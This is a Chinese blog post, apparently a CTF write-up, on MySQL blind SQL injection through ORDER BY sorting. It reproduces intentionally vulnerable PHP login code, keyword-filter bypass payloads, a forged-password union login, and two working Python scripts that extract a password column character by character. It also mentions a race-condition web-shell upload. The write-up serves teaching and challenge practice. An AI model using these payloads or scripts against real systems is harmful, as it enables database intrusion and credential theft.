mysql之利用order by排序进行注入

前言

突然发现更新完sqli基础关之后自己已经好久没有更新博客了,刚好最近又遇到了一些之前困扰了好久的问题,当时还不怎么理解sql注入,然后看了wp(安恒杯2月月赛-进击的盲注)还是看不懂,就记录一下吧(都怪自己太懒了23333
beida

搭建测试环境

1、这里我直接在vps上面复现了一下题目
源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/*index.php*/
<?php
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "*********";/*这里是你的数据库密码*/
$db = "sqli";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");

/* sql
create table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}

?>

2、如果你也想本地复现的话,只要修改数据库的相关信息,然后放到站点目录访问即可。

题目详解

1、从源码我们可以得到许多数据库相关的信息(库名、表名、字段),但是我们定位到关键的filter函数

1
2
3
4
5
6
7
8
function   filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}

这里发现过滤了"(、)、username、password、where、 case、when、like、regexp、into、limit、=、for、;等关键字,所以一般的盲注可能行不通,这里我们通过order by盲注得到flag

2、从源码容易得到注入点在username处,通过构造username='^1^1#&password=123,利用异或条件使查询条件永远为真,得到回显值admin
huixian

3、所以我们构造payload

1
2
3
http://vps_ip/orderbysqli_test/index.php
post:
username=admin' union select 1,2,{} order by 3#&password=123

获取flag的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

def sqli(payload):
url = "http://vps_ip/orderbysqli_test/index.php"
#这里是你的复现地址
data = {'username':payload,'password':'123'}
res = requests.post(url,data = data)
#print res.text
return res.text

username = "admin'union select 1,2,0x{} order by 3 desc#"
flag = ''
for i in range (1,50):
n = 0
for j in range (33,127):
#print chr(j)
n += 1
payload = username.format((flag+chr(j)).encode('hex'))
#print payload
if 'admin' not in sqli(payload):
flag = flag + chr(j-1)
print flag
break
if n == 94:
print 'find is over'
print flag
break

4、运行脚本我们得到的结果是:
flag1
对比了一下数据库里面的flag
flag2
我们可以发现大小写没有区分导致得到错误的结果,那么这里我们可以用binary那实现大小写的区分
只需要修改payload

1
username = "admin'union select 1,2,binray 0x{} order by 3 desc#"

得到的结果与数据库一致,解决了大小写不敏感的问题
flag3
但是这里我们发现最后一个字符是错误的,这里我们在数据库里面进行了尝试
liangepaixu
当我们同时对password和username排序时,查询的结果是正确的
flag8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

def sqli(payload):
url = "http://vps_ip/orderbysqli_test/index.php"
data = {'username':payload,'password':'123'}
res = requests.post(url,data = data)
#print res.text
return res.text

username = "admin'union select 1,'b',binary 0x{} order by 3,2 desc#"
#shengxu
flag = ''
for i in range (1,50):
n = 0
for j in range (33,127):
#print chr(j)
n += 1
payload = username.format((flag+chr(j)).encode('hex'))
#print payload
if 'admin' in sqli(payload):
flag = flag + chr(j-1)
print flag
break
if n == 94:
print 'find is over'
print flag
break

原理介绍

1、首先我们创建一张admin表,包含id,username,password三个字段,然后插入测试数据

1
2
3
4
5
6
7
/* sql
create table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/

测试数据如下
flag4

2、我们使用union联合查询然后按照第三列(password)desc来排序查询结果

1
select * from admin where  username = 'admin' union select 1,2,binary 'e' order by 3 desc;

flag5

1
select * from admin where  username = 'admin' union select 1,2,binary 'f' order by 3 desc;

flag6

1
select * from admin where  username = 'admin' union select 1,2,binary 'g' order by 3 desc;

flag7
根据测试结果我们可以利用页面回显的username来判断password字段的值是否匹配,以此类推,我们就可以得到admin这个用户对应的password字段值了。
buxin

安恒杯2月月赛-进击的盲注

题目描述

1
2
3
4
5
题目名称
进击的盲注

题目说明
这里的漏洞可不是什么通用型漏洞

考点

1
2
3
4
5
源代码泄露
伪造password登录
order by注入
binary使用
简单的条件竞争

1、扫目录发现robots.txt,访问后发现有index.txt,有一个waf,过滤了)(\三个符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

function dbconnection()
{
@$con = mysql_connect("localhost","root","c2FkZmFnZGZkc3Nm");
// Check connection
if (!$con)
{
echo "Failed to connect to MySQL: " . mysql_error();
}
@mysql_select_db("blindsql",$con) or die ( "Unable to connect to the database");
mysql_query("SET character set 'UTF8'");
}
function waf($id)
{
if(preg_match("/\(|\)|\\\\/", $id))
return True;
else
return False;
}

if(isset($_POST['username'])&&isset($_POST['password']))
{
$hit = '';
dbconnection();
$username = $_POST['username'];
$password = $_POST['password'];
if(waf($username))
{
$hit = "illegal character";
}
else{
$sql="SELECT * FROM admin WHERE username='".$username."'" ;
$result=mysql_query($sql);
@$row = mysql_fetch_array($result);
#$name = $row['username'];
if(isset($row)&&$row['username']!="admin"){
$hit = "username error!";
}else{
if ($row['password']===md5($password)){
$hit = '没啥用哦,还是到数据库里拿数据吧。';
}else{
$hit = "password error!";
}
}
}
mysql_close();
}
?>

查看sql连接语句,伪造密码进行登录

1
2
3
$sql="SELECT * FROM admin WHERE username='".$username."'" ;

' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b&password=1

2、登陆后发现没有什么有用的信息
denglu

3、这里我们同样使用了order by进行盲注,方法同上,这里就不多赘述了,需要注意的是这里如果不使用binary的话没办法区分大小写,得到的结果也是错的。
payload

4、这里得到了一个base64加密的一个页面(uP10@_nEw.php)

5、下面就是条件竞争上传一句话然后获取flag的过程了

进击的盲注wp传送门

后记

这里通过两个相同类型的题目介绍了order by盲注的方法,希望大家看完能有所收获(23333
dicha

------ 本文结束感谢您的阅读 ------
坚持记录生活,您的支持将鼓励我继续创作!